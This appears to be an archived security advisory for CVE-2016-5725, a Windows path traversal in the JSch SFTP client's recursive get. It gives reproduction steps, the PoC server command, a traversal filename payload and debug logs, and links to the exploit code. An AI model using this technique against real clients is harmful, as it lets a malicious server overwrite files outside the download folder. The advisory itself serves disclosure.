扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 |
Ref:https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725 Version:0.3 Date: Aug 31st, 2016 Complete Proof of Concept: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40411.zip Tag:jsch recursive sftp get client-side windows path traversal Overview -------- Name: jsch Vendor: jcraft References: * http://www.jcraft.com/jsch/ [1] Version:0.1.53 [2] Latest Version: 0.1.54 [2] Other Versions: <= 0.1.53 Platform(s):windows Technology: java Vuln Classes: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Origin: remote Min. Privs.:post auth CVE:CVE-2016-5725 Description --------- quote website [1] > JSch is a pure Java implementation of SSH2. JSch allows you to connect to an sshd server and use port forwarding, X11 forwarding, file transfer, etc., and you can integrate its functionality into your own Java programs. JSch is licensed under BSD style license. We have recognized that the following applications have used JSch. * Ant(1.6 or later). JSch has been used for Ant's sshexec and scp tasks. * Eclipse(3.0). Our Eclipse-CVSSSH2 plug-in has been included in Eclipse SDK 3.0. This plug-in will allow you to get ssh2 accesses to remote CVS repository by JSch. * NetBeans 5.0(and later) * Jakarta Commons VFS * Maven Wagon * Rational Application Devloper for WebSphere Software * HP Storage Essentials * JIRA * Trac WikiOutputStreamPlugin Summary ------- A malicious sftp server may force a client-side relative path traversal in jsch's implementation for recursive sftp-get allowing the server to write files outside the clients download basedir with effective permissions of the jsch sftp client process. * affects recursive get, i.e. sftp <host>:</path>/* . * post-auth * file overwrite capability depends on the client specified mode: ChannelSftp.get(...,mode==ChannelSftp.OVERWRITE) * windows only see attached PoC Details ------- * examples/Sftp.java::main:: c.get(p1, p2, monitor, mode); * ChannelSftp.java::get(String src, String dst, SftpProgressMonitor monitor, int mode) * ChannelSftp.java::_get(src,dst,monitor,mode,skip) Source ------ see ref github. Proof of Concept ---------------- see ref github. poc: 1. run <code>poc.py</code> to spawn the ssh/sftp stub listening for new connections on <code>0.0.0.0:3373</code>: poc.py --host=0.0.0.0 --port=3373 -l DEBUG -k test_rsa.key INFO:__main__:[cve-2016-5725] sftp server starting... INFO:__main__:* generating fake files INFO:__main__:** /..\..\totally_malicious_script INFO:__main__:* setting up sftp server INFO:__main__:* monkey patching: chattr INFO:__main__:* monkey patching: list_folder INFO:__main__:* monkey patching: mkdir INFO:__main__:* monkey patching: open INFO:__main__:* monkey patching: remove INFO:__main__:* monkey patching: rename INFO:__main__:* monkey patching: rmdir INFO:__main__:* monkey patching: stat INFO:__main__:* monkey patching: symlink INFO:__main__:* starting sftp server... 0.0.0.0 3373 2. connect to <code>poc.py</code> using jsch sftp-client example <code>examples/Sftp.java (any user, user password): sftp> 3. issue a recursive get (any remote folder will do for the PoC) to store all files from <code>remote:fancyfolder</code> to <code>.</code>. Note: output may contain additional debug information not enabled by default in <code>examples/Sftp.java Note: pwd is <code><path>\workspace-ee\jsch Note: local output folder is <code>.</code> (<code><path>\workspace-ee\jsch</code>) sftp> get fancyfolder/* . 3. client connects to <code>poc.py</code> with subsystem sftp DEBUG:paramiko.transport:starting thread (server mode): 0x350afd0L DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.0 DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-JSCH-0.1.53 INFO:paramiko.transport:Connected (version 2.0, client JSCH-0.1.53) DEBUG:paramiko.transport:kex algos:[u'ecdh-sha2-nistp256', ... DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1 DEBUG:paramiko.transport:Cipher agreed: aes128-ctr DEBUG:paramiko.transport:MAC agreed: hmac-md5 DEBUG:paramiko.transport:Compression agreed: none DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo ... DEBUG:paramiko.transport:Switch to new keys ... DEBUG:paramiko.transport:Auth request (type=none) ... INFO:paramiko.transport:Auth rejected (none). DEBUG:paramiko.transport:Auth request (type=password) ... INFO:paramiko.transport:Auth granted (password). DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes DEBUG:paramiko.transport:[chan 0] Max packet out: 32768 bytes DEBUG:paramiko.transport:Secsh channel 0 (session) opened. DEBUG:paramiko.transport:Starting handler for subsystem sftp 4. jsch sftp-client command <code>get fancyfolder/* .</code> calls opendir(/fancyfolder) on the PoC sftp server which responds with a fake filelist for fancyfolder listing the file <code>/..\..\totally_malicious_script</code>. DEBUG:paramiko.transport.sftp:[chan 0] Started sftp server on channel <paramiko.Channel 0 (open) window=2097152 -> <paramiko.Transport at 0x350afd0L (cipher aes128-ctr, 128 bits) (active; 1 open channel(s))>> DEBUG:paramiko.transport.sftp:[chan 0] Request: realpath DEBUG:paramiko.transport.sftp:[chan 0] Request: opendir INFO:__main__:LIST (u'/fancyfolder'): [<SFTPAttributes: [ size=44 uid=0 gid=9 mode=0100666 atime=1472758892 mtime=1472758897 ]>] DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir DEBUG:paramiko.transport.sftp:[chan 0] Request: close 5. jsch sftp-client recursively downloads the files listed in the response to <code>opendir(/fancyfolder)</code> (sftp-get) by calling <code>stat</code>, <code>open</code> and <code>read</code> on the file. a) jsch sftp-client calls <code>stat</code> on the filename as returned by the servers response to <code>opendir</code> (with traversal): stat(/fancyfolder//..\\..\\totally_malicious_script) b) the sftp-server (PoC) returns file attributes for totally_malicious_script (with traversal) c) jsch sftp-client requests file <code>open</code> on the path (with traversal): open(/fancyfolder//..\..\totally_malicious_script) d) jsch sftp-client builds destination path by concatenating the destination folder ( <code><path>\workspace-ee\jsch\.</code> ) with the server provided filename /..\..\totally_malicious_script</code> stripping any data before and including /</code> of the filename, then receives the remote files contents: <code> <path>\workspace-ee\jsch\.\..\..\totally_malicious_script e) the resulting sftp-client local destination path dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script</code> is outside the basedir <code><path>\workspace-ee\jsch\. sftp-server (PoC) DEBUG:paramiko.transport.sftp:[chan 0] Request: stat INFO:__main__:STAT (u'/fancyfolder//..\\..\\totally_malicious_script') INFO:__main__:STAT - returning: totally_malicious_script INFO:__main__:** /..\..\totally_malicious_script DEBUG:paramiko.transport.sftp:[chan 0] Request: open INFO:__main__:OPEN: /fancyfolder//..\..\totally_malicious_script DEBUG:paramiko.transport.sftp:[chan 0] Request: read DEBUG:paramiko.transport.sftp:[chan 0] Request: read DEBUG:paramiko.transport.sftp:[chan 0] Request: read DEBUG:paramiko.transport.sftp:[chan 0] Request: close sftp-client (jsch) dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script _get: /fancyfolder//..\..\totally_malicious_script, java.io.FileOutputStream@7ccf3329 sftp> 6. downloaded file is stored in server controlled relative path on client tintin@testbox ~<path>/workspace-ee/jsch $ ls ../../total* ../../totally_malicious_script Notes ----- * the PoC is a slightly modified version <code>stub_sftp.py</code> shipped with paramiko/tests [4]. * we've seen ssh bots in the wild using jsch probing for weak ssh passwords. Vendor response: see [5] References ---------- [1] http://www.jcraft.com/jsch/ [2] https://sourceforge.net/projects/jsch/files/?source=navbar [3] https://sourceforge.net/projects/jsch/files/jsch/0.1.53 [4] https://github.com/paramiko/paramiko/blob/master/tests/stub_sftp.py [5] http://www.jcraft.com/jsch/ChangeLog |
体验盒子
